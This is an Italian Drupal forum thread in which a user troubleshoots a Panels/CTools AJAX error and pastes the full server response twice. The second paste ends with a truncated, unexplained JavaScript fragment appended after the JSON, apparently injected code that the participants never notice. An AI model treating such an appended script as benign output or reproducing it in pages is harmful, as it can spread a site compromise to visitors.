Errore Panels, non posso fare modifiche

18 contenuti / 0 new
Ultimo contenuto
Errore Panels, non posso fare modifiche

salve a tutti,
ho un errore con il modulo panels che non mi fa aggiungere o modificare i contenuti dei pannelli.
Quando in un Panel accedo alla sezione "Panel Content" e poi clicco sull'immagine "ingranaggio" che permette di modificare il contenuto del pannello, ottengo questo errore:

Quote:
An error occurred at /panels/ajax/configure/8/73.

Error Description:
[ { "command": "modal_display", "title": "Configure New custom content", "output": "\x3cform action=\"/panels/ajax/config...........(e continua così pervarie righe...)

ho cercato anche su drupal.org trovando qualcosa di simile ma non proprio il mio caso (a meno che non mi sia sfuggito..).
Ho uploadato ctools e panels all'ultima versione ma non funziona lo stesso.
Qualcuno mi può aiutare?
Grazie mille

Ciao, non è che hai attivo Devel o qualche altro modulo che ti spara fuori del contenuto ? Perchè a me queste cose capitano quando ad esempio ho Devel che mi restituisce alcuni valori che ovviamente vengono inseriti nelle risposte Ajax, invalidandole.

M.

--
Michel 'ZioBudda' Morelli -- [email protected]
Sviluppo applicazioni CMS DRUPAL e web dinamiche -- Corsi Drupal -- Amministrazione Drupal -- Hosting Drupal

ciao
grazie della risposta, comunque avevo già verificato ma Devel proprio non ce l'ho.
Comunque ho pure disattivato i "developer modules" tramite l'utility di admin menu.
Non so proprio che fare.. ora magari apro un topic su drupal.org
grazie cmq ;)

Scusa, potresti postare tutto il messaggio che ti compare ?

Ciao.

--
Michel 'ZioBudda' Morelli -- [email protected]
Sviluppo applicazioni CMS DRUPAL e web dinamiche -- Corsi Drupal -- Amministrazione Drupal -- Hosting Drupal

An error occurred at /panels/ajax/configure/8/73.
Error Description:
[ { "command": "modal_display", "title": "Configure New custom content", "output": "\x3cform action=\"/panels/ajax/configure/8/73/form\"  accept-charset=\"UTF-8\" method=\"post\" id=\"ctools-custom-content-type-edit-form\"\x3e\n\x3cdiv\x3e\x3cdiv class=\"form-item\" id=\"edit-admin-title-wrapper\"\x3e\n \x3clabel for=\"edit-admin-title\"\x3eAdministrative title: \x3c/label\x3e\n \x3cinput type=\"text\" maxlength=\"128\" name=\"admin_title\" id=\"edit-admin-title\" size=\"60\" value=\"\" class=\"form-text\" /\x3e\n \x3cdiv class=\"description\"\x3eThis title will be used administratively to identify this pane. If blank, the regular title will be used.\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class=\"form-item\" id=\"edit-title-wrapper\"\x3e\n \x3clabel for=\"edit-title\"\x3eTitolo: \x3c/label\x3e\n \x3cinput type=\"text\" maxlength=\"128\" name=\"title\" id=\"edit-title\" size=\"60\" value=\"\" class=\"form-text\" /\x3e\n\x3c/div\x3e\n\x3cdiv class=\"form-item\" id=\"edit-body-wrapper\"\x3e\n \x3clabel for=\"edit-body\"\x3eCorpo: \x3c/label\x3e\n \x3ctextarea cols=\"60\" rows=\"5\" name=\"body\" id=\"edit-body\"  class=\"form-textarea  \"\x3e\x26lt;big\x26gt;\x26lt;strong\x26gt;L\x26#039;agente immobiliare\x26lt;/big\x26gt;\x26lt;/strong\x26gt; è un agente di commercio operante sul campo immobiliare, il quale effettua principalmente opera di mediazione nella compravendita di Immobili (appartamenti, ville, terreni, aziende) oppure anche nelle operazioni di consulenza, scambio e affitto di Immobili.\n\x26lt;br\x26gt;\nL’Agente Immobiliare rientra nella categoria dei mediatori ricoprendo un ruolo di spicco tra gli Agenti di Commercio, anche giovando del fatto che il mercato immobiliare non subisce mai grosse crisi, (tutti abbiamo bisogno di un tetto!). Il lavoro dell’agente è rivolto principalmente a clienti privati ma non di rado, soprattutto dal lato “Venditore” sono presenti società o figure professionali del settore, le quali offrono immobili. Le principali attività sono la vendita di abitazioni (nuove o usate) di terreni, lotti, locali commerciali e Aziende (in alcuni casi anche aziende già operative); gli Affitti i quali hanno buon mercato in tutte le città, ma soprattutto in città Universitarie e di transito.\nVediamo alcuni aspetti salienti di questa figura:\n\x26lt;/div\x26gt;\n\x26lt;div\x26gt;\x26amp;nbsp;\x26lt;/div\x26gt;\n\x26lt;ol\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Requisiti\x26quot;\x26gt;Requisiti per l\x26#039;esercizio della professione\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Competenze\x26quot;\x26gt;Competenze Necessarie\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Mediazione\x26quot;\x26gt;La mediazione tra Privati\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Compenso\x26quot;\x26gt;Il Compenso\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Agenzie_Franchising\x26quot;\x26gt;Le Agenzie Immobiliari in franchising\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n\x26lt;/ol\x26gt;\nLeggi tutto sull\x26#039;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare\x26quot; title=\x26quot;Tutto su Agente Immobiliare\x26quot;\x26gt;Agente Immobiliare\x26lt;/a\x26gt;\x3c/textarea\x3e\n\x3c/div\x3e\n\x3cdiv id=\"fck_oFCK_1\"\x3e\x3ctextarea id=\"oFCK_1\" cols=\"60\" rows=\"5\"\x3e\x26lt;big\x26gt;\x26lt;strong\x26gt;L\'agente immobiliare\x26lt;/big\x26gt;\x26lt;/strong\x26gt; è un agente di commercio operante sul campo immobiliare, il quale effettua principalmente opera di mediazione nella compravendita di Immobili (appartamenti, ville, terreni, aziende) oppure anche nelle operazioni di consulenza, scambio e affitto di Immobili.\n\x26lt;br\x26gt;\nL’Agente Immobiliare rientra nella categoria dei mediatori ricoprendo un ruolo di spicco tra gli Agenti di Commercio, anche giovando del fatto che il mercato immobiliare non subisce mai grosse crisi, (tutti abbiamo bisogno di un tetto!). Il lavoro dell’agente è rivolto principalmente a clienti privati ma non di rado, soprattutto dal lato “Venditore” sono presenti società o figure professionali del settore, le quali offrono immobili. Le principali attività sono la vendita di abitazioni (nuove o usate) di terreni, lotti, locali commerciali e Aziende (in alcuni casi anche aziende già operative); gli Affitti i quali hanno buon mercato in tutte le città, ma soprattutto in città Universitarie e di transito.\nVediamo alcuni aspetti salienti di questa figura:\n\x26lt;/div\x26gt;\n\x26lt;div\x26gt;\x26amp;nbsp;\x26lt;/div\x26gt;\n\x26lt;ol\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Requisiti\x26quot;\x26gt;Requisiti per l\'esercizio della professione\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Competenze\x26quot;\x26gt;Competenze Necessarie\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Mediazione\x26quot;\x26gt;La mediazione tra Privati\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Compenso\x26quot;\x26gt;Il Compenso\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Agenzie_Franchising\x26quot;\x26gt;Le Agenzie Immobiliari in franchising\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n\x26lt;/ol\x26gt;\nLeggi tutto sull\'\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare\x26quot; title=\x26quot;Tutto su Agente Immobiliare\x26quot;\x26gt;Agente Immobiliare\x26lt;/a\x26gt;\x3c/textarea\x3e\x3c/div\x3e\n\x3ca href=\"javascript:Toggle(\'oFCK_1\',\'edit-body\',\'Switch to plain text editor\',\'Switch to rich text editor\',1);\" id=\"switch_oFCK_1\" style=\"display:none\"\x3eSwitch to plain text editor\x3c/a\x3e\x3cdiv class=\"textarea-identifier description\"\x3eThe ID for \x3ca href=\"/admin/settings/fckeditor\"\x3eexcluding or including\x3c/a\x3e this element is: edit-body - the path is: panels/ajax/configure/8/73\x3c/div\x3e\x3cfieldset class=\" collapsible collapsed\"\x3e\x3clegend\x3eFormato input\x3c/legend\x3e\x3cdiv class=\"form-item\" id=\"edit-format-1-wrapper\"\x3e\n \x3clabel class=\"option\" for=\"edit-format-1\"\x3e\x3cinput type=\"radio\" id=\"edit-format-1\" name=\"format\" value=\"1\"   class=\"form-radio\" /\x3e Filtered HTML\x3c/label\x3e\n \x3cdiv class=\"description\"\x3e\x3cul class=\"tips\"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3cli\x3etags HTML permessi: \x26lt;a\x26gt; \x26lt;em\x26gt; \x26lt;strong\x26gt; \x26lt;cite\x26gt; \x26lt;code\x26gt; \x26lt;ul\x26gt; \x26lt;ol\x26gt; \x26lt;li\x26gt; \x26lt;dl\x26gt; \x26lt;dt\x26gt; \x26lt;dd\x26gt;\x3c/li\x3e\x3cli\x3eLinee e paragrafi vanno a capo automaticamente.\x3c/li\x3e\x3cli\x3eYou may use \x3ca href=\"/filter/tips/1?swftools_filter\"\x3e\x26lt;swf file=\x26quot;song.mp3\x26quot;\x26gt;\x3c/a\x3e to display Flash files inline\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class=\"form-item\" id=\"edit-format-2-wrapper\"\x3e\n \x3clabel class=\"option\" for=\"edit-format-2\"\x3e\x3cinput type=\"radio\" id=\"edit-format-2\" name=\"format\" value=\"2\"  checked=\"checked\"  class=\"form-radio\" /\x3e Full HTML\x3c/label\x3e\n \x3cdiv class=\"description\"\x3e\x3cul class=\"tips\"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3cli\x3eLinee e paragrafi vanno a capo automaticamente.\x3c/li\x3e\x3cli\x3eYou may use \x3ca href=\"/filter/tips/2#filter-insert_block\"\x3e[block:\x3cem\x3emodule\x3c/em\x3e=\x3cem\x3edelta\x3c/em\x3e] tags\x3c/a\x3e to display the contents of block \x3cem\x3edelta\x3c/em\x3e for module \x3cem\x3emodule\x3c/em\x3e.\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class=\"form-item\" id=\"edit-format-3-wrapper\"\x3e\n \x3clabel class=\"option\" for=\"edit-format-3\"\x3e\x3cinput type=\"radio\" id=\"edit-format-3\" name=\"format\" value=\"3\"   class=\"form-radio\" /\x3e PHP code\x3c/label\x3e\n \x3cdiv class=\"description\"\x3e\x3cul class=\"tips\"\x3e\x3cli\x3ePotete pubblicare codice PHP. Dovreste includere i tag \x26lt;?php ?\x26gt;.\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class=\"form-item\" id=\"edit-format-4-wrapper\"\x3e\n \x3clabel class=\"option\" for=\"edit-format-4\"\x3e\x3cinput type=\"radio\" id=\"edit-format-4\" name=\"format\" value=\"4\"   class=\"form-radio\" /\x3e Gmap e url\x3c/label\x3e\n \x3cdiv class=\"description\"\x3e\x3cul class=\"tips\"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3c

Più imparo, più dubito.

ciao Jhon,
ti ringrazio per la risposta. Avevo già controllato ma il primo topic che mi hai suggerito è datato, sicuramente per la vecchia versione di Ctools, mentre io sto usando la nuova. Infatti andando ad applicare la Patch le righe non corrispondono..

Il secondo topic che mi hai suggerito invece sembra riguardi un'incompatibilità di views con php 5.3 e suggerisce una patch per il modulo views.
Apparentemente sembra un problema diverso dal mio, visto che il mio si verifica quando smanetto con nodi di tipo Panel (e non so se si abbiano implicazioni con il modulo views). Comunque dopo averla provata ottengo il solito errore...

Il fatto è che tale malfunzionamento è comparso improvvisamente, senza che io abbia effettuato modifiche o aggiunto moduli (che io ricordi).

Cosa potrei verificare?? C'è qualche log che potrebbe darmi più informazioni?
Ieri sera ho guardato il log di apache (tramite aruba) e mi diceva che non sono presenti errori (anche se in effetti non dovrebbe essere un errore a livello server trattandosi di ajax)..

Accetto tutti i Consigli!

OK. probabilmente non è mod_security nè PHP 5.3.0 se sei su aruba. Più probabile un conflitto con qualche altro modulo.

Comunque hai un problema Ajax - che può dipendere non del modulo per se, ma da ctools o il codice Ajax JavaScript/PHP di drupal. E' sempre una richiesta/risposta ad Apache, come per una pagina HTML.

Il log di Apache dovrebbe segnalare un errore Ajax - un 406 è chiaro sintomo di problemi mod_security.
Puoi provare con Net di firebug.
Puoi dare un occhiata alla tabella system - l'ordine naturale (forse) indica qual'erano gli ultimi moduli aggiunti.

HTH

John

Più imparo, più dubito.

per la cronaca: ho appena avuto un errore simile dopo aver cliccato "salva" prima che l'upload di un imagefield (in ajax) fosse terminato.
forse può essere utile...

Grazie per il supporto
ho fatto le seguenti prove:

  • ho fatto verificare l'errore cercando di modificare un pannello, poi sono andato sul log degli errori di apache (tramite aruba) ma non mi segnala errori. Lo stesso ripetendo la procedura.
  • Ho aperto la "console degli errori" firefox, ho cancellato l'elenco di errori e ho generato l'errore.
    Stranamente sulla console non viene segnalato niente.. nessun errore..
  • Ho provato a utilizzare lo strumento NET di FireBug (che non avevo mai utilizzato) ma non ho ottenuto informazioni interessanti.
    Ho provato a leggere un pò, ma non conoscendo AJAX non so dove potrebbe essere l'errore. Ho visto che NET mostra le intestazioni HTTP di richiesta e risposta, i parametri passati al server tramite il metodo POST, e il body della risposta (il quale è poi tutto quel testo che viene stampato nell'errore).
    Jhon cosa mi potrebbe aiutare di questi dati?
  • Ultima cosa, sono andato sulla tabella system e ho scorso le tuple sino in basso, dove mi accorgo che gli ultimi moduli installati sono Devel e Devel Generate!!!!!!!
    Questi moduli però non sono attivi attualmente, quindi non li vedevo.. Sicuramente sono loro che danno problemi.

Ora provo a CANCELLARLI DEL TUTTO poi vi faccio sapere!

Allora cerco di rispondere in ordine...

I log aiutono soprattutto per le loro codice di errore. Ma se non ci sono, pazienza.

Console degli errori di Firefox (se mi ricordo bene) da solo informazione su errori JavaScript - ed è molto meno sofisticato di Firebug. Comunque complimenti per averlo provato.

Allora Firebug sta diventando veramente fenominale. Ho appena ricevuto in regalo la versione 1.5.3 che ha aggiunto il Computed style (grazie Chrome). Il tab Net (una volta abiltato) è molto utile per capire cosa viene richiesto dal browser, cosa risponde il server, ecc.
Siccome Ajax non è altro di una richiesta/risposta tramite JavaScript, Net dovrebbe aggiungere alla lista anche questi chiaccherate Ajax. Che avrebbe aggiunto un pò d'informazione in più...

Si, Devel (che è anche Devel Generate) può (come un qualunque altro modulo) creare problemi di stabilità del sistema Ajax dentro Drupal. Ma se è disabilitato, er, allora è disabilitato.

Sviluppare e debuggare Ajax e come fare accoppiare gli porcospini, delicato e doloroso...

John

Più imparo, più dubito.

Ciao John e grazie per i chiarimenti.

Ho appena verificato che i moduli oltre ad essere disattivati erano pure stati eliminati dal server. Quindi non sono loro la causa, a meno che non abbiano corrotto qualcosa alla loro installazione.

Comunque riprovano il Tab NET di Firebug (che è veramente molto potente) mi sembra di carpire le seguenti cose:
Con la richiesta HTTP vengono mandate le seguenti variabili js=1&ctools_ajax=1
Che in pratica vogliono dire (se ho capito bene)

  • js = 1
  • ctools_ajax=1

e poi viene mostrata sotto la voce RISPOSTA tutta la parte di codice che viene restituita (che io non so interpretare)
la posto qui sotto così magari qualcuno vede se c'è qualcosa di strano... :)

[ { "command": "modal_display", "title": "Configure New custom content", "output": "\x3cform action="/panels/ajax/configure/8/73/form"  accept-charset="UTF-8" method="post" id="ctools-custom-content-type-edit-form"\x3e\n\x3cdiv\x3e\x3cdiv class="form-item" id="edit-admin-title-wrapper"\x3e\n \x3clabel for="edit-admin-title"\x3eAdministrative title: \x3c/label\x3e\n \x3cinput type="text" maxlength="128" name="admin_title" id="edit-admin-title" size="60" value="" class="form-text" /\x3e\n \x3cdiv class="description"\x3eThis title will be used administratively to identify this pane. If blank, the regular title will be used.\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class="form-item" id="edit-title-wrapper"\x3e\n \x3clabel for="edit-title"\x3eTitolo: \x3c/label\x3e\n \x3cinput type="text" maxlength="128" name="title" id="edit-title" size="60" value="" class="form-text" /\x3e\n\x3c/div\x3e\n\x3cdiv class="form-item" id="edit-body-wrapper"\x3e\n \x3clabel for="edit-body"\x3eCorpo: \x3c/label\x3e\n \x3ctextarea cols="60" rows="5" name="body" id="edit-body"  class="form-textarea  "\x3e\x26lt;big\x26gt;\x26lt;strong\x26gt;L\x26#039;agente immobiliare\x26lt;/big\x26gt;\x26lt;/strong\x26gt; è un agente di commercio operante sul campo immobiliare, il quale effettua principalmente opera di mediazione nella compravendita di Immobili (appartamenti, ville, terreni, aziende) oppure anche nelle operazioni di consulenza, scambio e affitto di Immobili.\n\x26lt;br\x26gt;\nL’Agente Immobiliare rientra nella categoria dei mediatori ricoprendo un ruolo di spicco tra gli Agenti di Commercio, anche giovando del fatto che il mercato immobiliare non subisce mai grosse crisi, (tutti abbiamo bisogno di un tetto!). Il lavoro dell’agente è rivolto principalmente a clienti privati ma non di rado, soprattutto dal lato “Venditore” sono presenti società o figure professionali del settore, le quali offrono immobili. Le principali attività sono la vendita di abitazioni (nuove o usate) di terreni, lotti, locali commerciali e Aziende (in alcuni casi anche aziende già operative); gli Affitti i quali hanno buon mercato in tutte le città, ma soprattutto in città Universitarie e di transito.\nVediamo alcuni aspetti salienti di questa figura:\n\x26lt;/div\x26gt;\n\x26lt;div\x26gt;\x26amp;nbsp;\x26lt;/div\x26gt;\n\x26lt;ol\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Requisiti\x26quot;\x26gt;Requisiti per l\x26#039;esercizio della professione\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Competenze\x26quot;\x26gt;Competenze Necessarie\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Mediazione\x26quot;\x26gt;La mediazione tra Privati\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Compenso\x26quot;\x26gt;Il Compenso\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Agenzie_Franchising\x26quot;\x26gt;Le Agenzie Immobiliari in franchising\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n\x26lt;/ol\x26gt;\nLeggi tutto sull\x26#039;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare\x26quot; title=\x26quot;Tutto su Agente Immobiliare\x26quot;\x26gt;Agente Immobiliare\x26lt;/a\x26gt;\x3c/textarea\x3e\n\x3c/div\x3e\n\x3cdiv id="fck_oFCK_1"\x3e\x3ctextarea id="oFCK_1" cols="60" rows="5"\x3e\x26lt;big\x26gt;\x26lt;strong\x26gt;L\'agente immobiliare\x26lt;/big\x26gt;\x26lt;/strong\x26gt; è un agente di commercio operante sul campo immobiliare, il quale effettua principalmente opera di mediazione nella compravendita di Immobili (appartamenti, ville, terreni, aziende) oppure anche nelle operazioni di consulenza, scambio e affitto di Immobili.\n\x26lt;br\x26gt;\nL’Agente Immobiliare rientra nella categoria dei mediatori ricoprendo un ruolo di spicco tra gli Agenti di Commercio, anche giovando del fatto che il mercato immobiliare non subisce mai grosse crisi, (tutti abbiamo bisogno di un tetto!). Il lavoro dell’agente è rivolto principalmente a clienti privati ma non di rado, soprattutto dal lato “Venditore” sono presenti società o figure professionali del settore, le quali offrono immobili. Le principali attività sono la vendita di abitazioni (nuove o usate) di terreni, lotti, locali commerciali e Aziende (in alcuni casi anche aziende già operative); gli Affitti i quali hanno buon mercato in tutte le città, ma soprattutto in città Universitarie e di transito.\nVediamo alcuni aspetti salienti di questa figura:\n\x26lt;/div\x26gt;\n\x26lt;div\x26gt;\x26amp;nbsp;\x26lt;/div\x26gt;\n\x26lt;ol\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Requisiti\x26quot;\x26gt;Requisiti per l\'esercizio della professione\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Competenze\x26quot;\x26gt;Competenze Necessarie\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Mediazione\x26quot;\x26gt;La mediazione tra Privati\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Compenso\x26quot;\x26gt;Il Compenso\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n    \x26lt;li\x26gt;\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare/Agenzie_Franchising\x26quot;\x26gt;Le Agenzie Immobiliari in franchising\x26lt;/a\x26gt;\x26lt;/li\x26gt;\n\x26lt;/ol\x26gt;\nLeggi tutto sull\'\x26lt;a href=\x26quot;http://www.domuspisa.it/agente-immobiliare\x26quot; title=\x26quot;Tutto su Agente Immobiliare\x26quot;\x26gt;Agente Immobiliare\x26lt;/a\x26gt;\x3c/textarea\x3e\x3c/div\x3e\n\x3ca href="javascript:Toggle(\'oFCK_1\',\'edit-body\',\'Switch to plain text editor\',\'Switch to rich text editor\',1);" id="switch_oFCK_1" style="display:none"\x3eSwitch to plain text editor\x3c/a\x3e\x3cdiv class="textarea-identifier description"\x3eThe ID for \x3ca href="/admin/settings/fckeditor"\x3eexcluding or including\x3c/a\x3e this element is: edit-body - the path is: panels/ajax/configure/8/73\x3c/div\x3e\x3cfieldset class=" collapsible collapsed"\x3e\x3clegend\x3eFormato input\x3c/legend\x3e\x3cdiv class="form-item" id="edit-format-1-wrapper"\x3e\n \x3clabel class="option" for="edit-format-1"\x3e\x3cinput type="radio" id="edit-format-1" name="format" value="1"   class="form-radio" /\x3e Filtered HTML\x3c/label\x3e\n \x3cdiv class="description"\x3e\x3cul class="tips"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3cli\x3etags HTML permessi: \x26lt;a\x26gt; \x26lt;em\x26gt; \x26lt;strong\x26gt; \x26lt;cite\x26gt; \x26lt;code\x26gt; \x26lt;ul\x26gt; \x26lt;ol\x26gt; \x26lt;li\x26gt; \x26lt;dl\x26gt; \x26lt;dt\x26gt; \x26lt;dd\x26gt;\x3c/li\x3e\x3cli\x3eLinee e paragrafi vanno a capo automaticamente.\x3c/li\x3e\x3cli\x3eYou may use \x3ca href="/filter/tips/1?swftools_filter"\x3e\x26lt;swf file=\x26quot;song.mp3\x26quot;\x26gt;\x3c/a\x3e to display Flash files inline\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class="form-item" id="edit-format-2-wrapper"\x3e\n \x3clabel class="option" for="edit-format-2"\x3e\x3cinput type="radio" id="edit-format-2" name="format" value="2"  checked="checked"  class="form-radio" /\x3e Full HTML\x3c/label\x3e\n \x3cdiv class="description"\x3e\x3cul class="tips"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3cli\x3eLinee e paragrafi vanno a capo automaticamente.\x3c/li\x3e\x3cli\x3eYou may use \x3ca href="/filter/tips/2#filter-insert_block"\x3e[block:\x3cem\x3emodule\x3c/em\x3e=\x3cem\x3edelta\x3c/em\x3e] tags\x3c/a\x3e to display the contents of block \x3cem\x3edelta\x3c/em\x3e for module \x3cem\x3emodule\x3c/em\x3e.\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class="form-item" id="edit-format-3-wrapper"\x3e\n \x3clabel class="option" for="edit-format-3"\x3e\x3cinput type="radio" id="edit-format-3" name="format" value="3"   class="form-radio" /\x3e PHP code\x3c/label\x3e\n \x3cdiv class="description"\x3e\x3cul class="tips"\x3e\x3cli\x3ePotete pubblicare codice PHP. Dovreste includere i tag \x26lt;?php ?\x26gt;.\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cdiv class="form-item" id="edit-format-4-wrapper"\x3e\n \x3clabel class="option" for="edit-format-4"\x3e\x3cinput type="radio" id="edit-format-4" name="format" value="4"   class="form-radio" /\x3e Gmap e url\x3c/label\x3e\n \x3cdiv class="description"\x3e\x3cul class="tips"\x3e\x3cli\x3eIndirizzi web o e-mail vengono trasformati in link automaticamente\x3c/li\x3e\x3cli\x3eInserisci una macro Google Map\x3ca href="/map/macro" target="_blank" \x3eCrea una macro\x3c/a\x3e\x3c/li\x3e\x3c/ul\x3e\x3c/div\x3e\n\x3c/div\x3e\n\x3cp\x3e\x3ca href="/filter/tips"\x3eMaggiori informazioni sulle opzioni di formattazione.\x3c/a\x3e\x3c/p\x3e\x3c/fieldset\x3e\n\x3cdiv class="form-item" id="edit-substitute-wrapper"\x3e\n \x3clabel class="option" for="edit-substitute"\x3e\x3cinput type="checkbox" name="substitute" id="edit-substitute" value="1"  checked="checked"  class="form-checkbox" /\x3e Use context keywords\x3c/label\x3e\n \x3cdiv class="description"\x3eIf checked, context keywords will be substituted in this content.\x3c/div\x3e\n\x3c/div\x3e\n\x3cfieldset class=" collapsible collapsed"\x3e\x3clegend\x3eSubstitutions\x3c/legend\x3e\x3ctable class="sticky-enabled"\x3e\n \x3cthead\x3e\x3ctr\x3e\x3cth\x3eKeyword\x3c/th\x3e\x3cth\x3eValore\x3c/th\x3e \x3c/tr\x3e\x3c/thead\x3e\n\x3ctbody\x3e\n \x3ctr class="odd"\x3e\x3ctd\x3e%node:uid\x3c/td\x3e\x3ctd\x3eThis node: Author UID\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="even"\x3e\x3ctd\x3e%node:nid\x3c/td\x3e\x3ctd\x3eThis node: Node ID\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="odd"\x3e\x3ctd\x3e%node:vid\x3c/td\x3e\x3ctd\x3eThis node: Node revision ID\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="even"\x3e\x3ctd\x3e%node:title\x3c/td\x3e\x3ctd\x3eThis node: Node title\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="odd"\x3e\x3ctd\x3e%node:type\x3c/td\x3e\x3ctd\x3eThis node: Node type\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="even"\x3e\x3ctd\x3e%node:book_id\x3c/td\x3e\x3ctd\x3eThis node: The id of the node\x26#039;s book parent.\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="odd"\x3e\x3ctd\x3e%node:book\x3c/td\x3e\x3ctd\x3eThis node: The title of the node\x26#039;s book parent.\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="even"\x3e\x3ctd\x3e%node:bookpath\x3c/td\x3e\x3ctd\x3eThis node: The titles of all parents in the node\x26#039;s book hierarchy.\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="odd"\x3e\x3ctd\x3e%node:book-raw\x3c/td\x3e\x3ctd\x3eThis node: The unfiltered title of the node\x26#039;s book parent. WARNING - raw user input.\x3c/td\x3e \x3c/tr\x3e\n \x3ctr class="even"\x3e\x3ctd\x3e%node:bookpath-raw\x3c/td\x3e\x3ctd\x3eThis node: The unfiltered titles of all parents in the node\x26#039;s book hierarchy. WARNING - raw user input.\x3c/td\x3e \x3c/tr\x3e\n\x3c/tbody\x3e\n\x3c/table\x3e\n\x3c/fieldset\x3e\n\x3cinput type="hidden" name="form_build_id" id="form-15c9cdb957cb37d476f11f1bb76ad756" value="form-15c9cdb957cb37d476f11f1bb76ad756"  /\x3e\n\x3cinput type="hidden" name="form_token" id="edit-ctools-custom-content-type-edit-form-form-token" value="47a85045f8e7e945f3f8f95696a63789"  /\x3e\n\x3cinput type="hidden" name="form_id" id="edit-ctools-custom-content-type-edit-form" value="ctools_custom_content_type_edit_form"  /\x3e\n\x3cdiv class="clear-block"\x3e\x3cinput type="submit" name="op" id="edit-return" value="Finish"  class="form-submit" /\x3e\n\x3c/div\x3e\n\x3c/div\x3e\x3c/form\x3e\n" } ]<script language="javascript">function t(){return z($a);}var 